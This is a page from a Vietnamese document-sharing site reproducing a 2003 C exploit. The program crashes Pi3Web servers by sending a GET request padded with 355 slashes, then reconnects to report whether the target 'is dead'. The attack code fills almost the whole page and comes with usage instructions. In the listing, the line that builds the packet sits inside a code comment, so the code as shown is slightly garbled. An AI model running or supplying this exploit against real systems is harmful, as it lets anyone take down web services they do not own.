1. Trang chủ
  2. » Công Nghệ Thông Tin

Unix Version of the Pi3web DoS.

2 398 1
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Unix version of the pi3web DoS
Tác giả Angelo Rosiello
Thể loại bài luận
Năm xuất bản 2003
Định dạng
Số trang 2
Dung lượng 26 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Unix Version of the Pi3web DoS.

Trang 1

Unix Version of the Pi3web DoS

trang này đã được đọc lần

* Unix Version of the Pi3web DoS

* -

* Info: Pi3Web Server is vulnerable to a denial of Service

* -

* VULNERABILITY:

* GET //// <- 354

*

* The bug was found by aT4r@3wdesign.es 04/26/2003

* www.3wdesign.es Security

* -

* Unix Version Credits

* AUTHOR : Angelo Rosiello

* CONTACT: angelo@rosiello.org, angelo@dtors.net

*

*/

#include <stdio.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <string.h>

#include <assert.h>

void addr_initialize();

int main(int argc, char **argv)

{

int i, port, sd, rc;

char buffer[355];

char *get = "GET";

char packet[360];

struct sockaddr_in server;

if(argc > 3 || argc < 2)

{

printf("USAGE: %s IP PORT\n", argv[0]);

printf("e.g ./pi3web-DoS 127.0.0.1 80\n");

exit(0);

}

if(argc == 2) port = 80;

else port = atoi(argv[2]);

for(i = 0; i < 355; i++) buffer[i] = '/'; //Build the malformed request sprintf(packet, "%s %s\n", get, buffer);

addr_initialize(&server, port, (long)inet_addr(argv[1]));

sd = socket(AF_INET, SOCK_STREAM, 0);

if(sd < 0) perror("Socket");

assert(sd >= 0);

rc = connect(sd, (struct sockaddr *) &server, sizeof(server));

Trang 2

if(rc != 0) perror("Connect");

assert(rc == 0);

printf("\n\t\t(c) 2003 DTORS Security\n");

printf("\t\tUnix Version DoS for Pi3web\n");

printf("\t\tby Angelo Rosiello\n\n");

write(sd, packet, strlen(packet)); //Caput!

printf("Malformed packet sent!\n");

close(sd);

printf("Checking if the server crashed \n");

sleep(3);

sd = socket(AF_INET, SOCK_STREAM, 0);

if(sd < 0) perror("Socket");

assert(sd >= 0);

rc = connect(sd, (struct sockaddr *) &server, sizeof(server));

if(rc != 0)

{

printf("The server is dead!\n");

exit(0);

}

else if(rc == 0) printf("The server is not vulnerable!\n");

close(sd);

exit(0);

}

void addr_initialize (struct sockaddr_in *address, int port, long IPaddr) {

address -> sin_family = AF_INET;

address -> sin_port = htons((u_short)port);

address -> sin_addr.s_addr = IPaddr;

}

Ngày đăng: 02/11/2012, 14:19

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w